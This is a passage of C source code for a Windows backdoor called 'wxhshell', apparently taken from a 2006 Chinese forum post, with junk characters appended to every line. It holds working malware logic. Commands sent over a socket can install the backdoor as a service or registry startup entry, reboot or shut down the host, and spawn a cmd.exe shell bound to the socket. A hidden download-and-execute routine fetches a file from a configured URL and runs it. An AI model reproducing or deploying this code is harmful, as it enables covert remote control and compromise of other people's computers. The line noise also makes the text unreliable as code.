  // 帮助 Lz DI0a.  
  case '?': { ,&HR(jTo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +fKtG]$  
    break; Q{QYBh&  
  } xw<OLWW  
  // 安装 GO! uwo:  
  case 'i': { S<nq8Ebmw  
    if(Install()) 1\L[i];L8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2}vg U$a  
    else 7:NmCpgL!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0(8H;T  
    break; R)Mt(gFZT_  
    } Hqz?E@bc@  
  // 卸载 2h {q h  
  case 'r': { KyP)Qzp  
    if(Uninstall()) >yJ-4lgZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DZ ^1s~  
    else rAdacnZV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,}D}oo*  
    break; }i!pL(8;  
    } lz | 64J  
  // 显示 wxhshell 所在路径 Q}A=jew  
  case 'p': { ^] p  
    char svExeFile[MAX_PATH]; 9=dkx^q  
    strcpy(svExeFile,"\n\r"); 4YU/uQm  
      strcat(svExeFile,ExeFile); [LM^), J?  
        send(wsh,svExeFile,strlen(svExeFile),0); VY 1vXM3y  
    break; '_+9y5  
    } TB aVW  
  // 重启 ;SKh   
  case 'b': { t@bt6J .{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~H@+D}J?  
    if(Boot(REBOOT)) '3l$al:H^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HO|-@yOF^  
    else { cm>E[SHr  
    closesocket(wsh); zjX7C~h^Q  
    ExitThread(0); ~KIDv;HSb[  
    } r@)A k  
    break; r;cV&T/?  
    } D>T],3U(H  
  // 关机 YwT-T,oD  
  case 'd': { eTE2J~\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *8g<R  
    if(Boot(SHUTDOWN)) 73NZ:h%=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v1[_}N9f>H  
    else { )xl6,bq3  
    closesocket(wsh); !DjT<dxf  
    ExitThread(0); V/#v\*JHFc  
    } =LH}YUmd  
    break; q7]>i!A  
    } f$xhb3Qn  
  // 获取shell &,W$-[  
  case 's': { ij)Cm]4(2  
    CmdShell(wsh); {/M\Q@j  
    closesocket(wsh); ^o<[. )  
    ExitThread(0); X}JWf<=q  
    break; %JoxYy-  
  } . 5hp0L}  
  // 退出 ?g  }kb  
  case 'x': { 4Z%Y"PL(K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a>Re^GT+z  
    CloseIt(wsh);  Q9y*:  
    break; hH4o;0rqJ  
    } LdTIR]  
  // 离开 I"Q<n[g0'  
  case 'q': { U}P,EP%p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O2#S: ~h  
    closesocket(wsh); {OxWcK\2@h  
    WSACleanup(); kO3 `54  
    exit(1); i!~>\r\6\  
    break; Zq?_dIX %  
        } h(:<(o@<  
  } p{H0dj^|  
  } STT2o=   
0$Ff#8  
  // 提示信息 G' Hh{_:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EzP#Mnz^  
} q) _r3   
  } BMjfqX  
9s $PrF  
  return; i[=C_+2  
} {})y^L  
f'_ S1\  
// shell模块句柄 T +\B'"  
int CmdShell(SOCKET sock) 8kbBz  
{ hZF(/4Z2  
STARTUPINFO si; n0FYfqH  
ZeroMemory(&si,sizeof(si));  1~EO+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :@e\'~7sH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cs5ix"1A  
PROCESS_INFORMATION ProcessInfo; \\iK'|5YG  
char cmdline[]="cmd"; (w2(qT&O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sX~45u \  
  return 0; Ut;'Gk  
} $B ?? Ip?P  
(,TH~("{  
// 自身启动模式 `r.N  
int StartFromService(void) SY8U"Qc;9  
{ 6 5"uD7;  
typedef struct b6Xi  
{ @YNGxg~*g  
  DWORD ExitStatus; UC#"=Xd 4  
  DWORD PebBaseAddress; ReqE?CeV  
  DWORD AffinityMask; $P_x v  
  DWORD BasePriority; mrReast  
  ULONG UniqueProcessId; w=$'Lt!  
  ULONG InheritedFromUniqueProcessId; k) 3s?  
}   PROCESS_BASIC_INFORMATION; R}.3|0  
:5<#X8>d  
PROCNTQSIP NtQueryInformationProcess; cS 4T\{B;  
$$~a=q,P[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :'ihE\j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hqWbp*  
G)4SWu0<t  
  HANDLE             hProcess; }_vM&.GFlL  
  PROCESS_BASIC_INFORMATION pbi; k?n]ZNlT  
2i"HqAB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U~hCn+0  
  if(NULL == hInst ) return 0; GM77Z.Y  
$&Ac5Zo%}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )ZeLaaP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x36NL^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p&m ^IWD  
e+x*psQ  
  if (!NtQueryInformationProcess) return 0; J[MVE4&  
Bjtj{B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2\ ,e  
  if(!hProcess) return 0; 2$  
dGa@<hg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "s> >V,  
a.1`\ $]d  
  CloseHandle(hProcess); %db3f z  
D|"sE>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `fLfT'  
if(hProcess==NULL) return 0; s v6INe:  
;i/"$K  
HMODULE hMod; M;V&KG Z  
char procName[255];  Hl!1h%  
unsigned long cbNeeded; \y@ eBW  
e7h\(`J0lj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]|t9B/()i  
\N6<BS  
  CloseHandle(hProcess); rAL1TU(vm  
<Ak:8&$O  
if(strstr(procName,"services")) return 1; // 以服务启动 ^z38<L=z"  
|^>u<E5  
  return 0; // 注册表启动 wXP_]-  
} hJ<:-u+yk}  
}WA<=9e  
// 主模块 @h!U  
int StartWxhshell(LPSTR lpCmdLine) 8 H,_vf  
{ RFhU#  
  SOCKET wsl; %C6|-?TAd  
BOOL val=TRUE; m9%yR"g9  
  int port=0; ;g&7*1E  
  struct sockaddr_in door; >\Z lZ  
/7.wQeL9  
  if(wscfg.ws_autoins) Install(); O.]_Ry\OXA  
]aREQ?ma&z  
port=atoi(lpCmdLine); _F! :(@}  
 fF\*v  
if(port<=0) port=wscfg.ws_port; [5x+aW%ql  
aeLBaS  
  WSADATA data; "vv$%^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "tqS|ok.  
;|Y2r^c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hgF21Oj9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `MN&(!&C*  
  door.sin_family = AF_INET; 8''9@xz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?aP1  
  door.sin_port = htons(port); 0 =3FO}[u  
' 2;Ny23  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ej-=y2j{g  
closesocket(wsl); -HO6K) ur  
return 1; ,| $|kO/  
} b>G qNf!  
1"mnzbf8*  
  if(listen(wsl,2) == INVALID_SOCKET) { pE9aT5 L  
closesocket(wsl); JrY"J]/  
return 1; }Z~pfm_S  
} " 8~f  
  Wxhshell(wsl); s^{{@O.  
  WSACleanup(); K8e4ax  
|;x fe"]  
return 0; EKeBTb  
p{\qSPK  
} UXcH";*9b  
V\e13cL]  
// 以NT服务方式启动 JKEXYE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HYa$EE2  
{  eLe,=  
DWORD   status = 0; 4GmSG,]  
  DWORD   specificError = 0xfffffff; xCmI7$uQ#  
#dxJ#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '@3a,pl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '#pMEVP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x mrugNRg  
  serviceStatus.dwWin32ExitCode     = 0; I_jM-/3b  
  serviceStatus.dwServiceSpecificExitCode = 0; < e7<t9  
  serviceStatus.dwCheckPoint       = 0; YUP%K!k  
  serviceStatus.dwWaitHint       = 0; yhJA;&}>  
2l\D~ y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mE3SiR "  
  if (hServiceStatusHandle==0) return; {7ZtOe  
$Hl+iF4j<  
status = GetLastError(); 5kRwSOG%'  
  if (status!=NO_ERROR) i+qLc6|S=2  
{ 76u/WC>B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8VAYIxRv  
    serviceStatus.dwCheckPoint       = 0; =0!\F~  
    serviceStatus.dwWaitHint       = 0; Jm*M7g j  
    serviceStatus.dwWin32ExitCode     = status; ]IbPWBX  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5pKvNLy.t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Mb( c+7  
    return; D~i@. k  
  } 6S&=OK^  
S,)|~#5x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CLFxq@%nu~  
  serviceStatus.dwCheckPoint       = 0; J4*:.8Ki  
  serviceStatus.dwWaitHint       = 0; U`8^N.Snrp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _L `N^I.  
} P(YG@  
c|!A?>O?i  
// 处理NT服务事件,比如:启动、停止 zw%n!wc_\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |)72E[lL  
{ ,SE$Rh  
switch(fdwControl) 44fq1<.K  
{ Kt!IyIa;Ht  
case SERVICE_CONTROL_STOP: kUaGok?  
  serviceStatus.dwWin32ExitCode = 0; ~y-vKCp|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vxilQp  
  serviceStatus.dwCheckPoint   = 0; P9tQS"Rs  
  serviceStatus.dwWaitHint     = 0; _ c(C;s3o  
  { M_e$l`"G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *|,ykb>  
  } h,WY2Hr  
  return; mZ0oa-Iy  
case SERVICE_CONTROL_PAUSE: ,p/b$d1p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Mn }Z9S[  
  break; v<J;S9u=  
case SERVICE_CONTROL_CONTINUE: CAo )v,f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j~L1~@  
  break; Jr>S/]"  
case SERVICE_CONTROL_INTERROGATE: =`\,2Nb  
  break; : ! iPn%  
}; PVkN3J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :kiO  
} )`+@j.75  
/4B4IT  
// 标准应用程序主函数 I\uB"Z{9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6 XOu~+7  
{ g=YiR/O1QN  
+S5_J&~  
// 获取操作系统版本 YT(1 "{:  
OsIsNt=GetOsVer(); ">vYEkZ3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S_ -QvG2  
R,5$ 0_]|+  
  // 从命令行安装 %`\_l  
  if(strpbrk(lpCmdLine,"iI")) Install(); !|:q@|- %@  
$@qs(Xwr  
  // 下载执行文件 \Af|$9boHz  
if(wscfg.ws_downexe) { CpqSn/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v.LUK  
  WinExec(wscfg.ws_filenam,SW_HIDE); JTh =JHJ  
} Oc/_ T>  
FqUt uN  
if(!OsIsNt) { d,rEEc Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 |^k1hX2?W  
HideProc(); F%+rOT<5  
StartWxhshell(lpCmdLine); pn%|;  
} //u76nQ  
else @oc%4~zl  
  if(StartFromService()) ;1g-z]  
  // 以服务方式启动 //5_E7Ehu$  
  StartServiceCtrlDispatcher(DispatchTable); 'kg]|"M  
else P"_}F  
  // 普通方式启动 2l(j 4~g  
  StartWxhshell(lpCmdLine); >fj$ wOq  
4Z~Dxo  
return 0; 4x{ti5Y0  
}
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只看该作者 1 发表于: 2006-10-10
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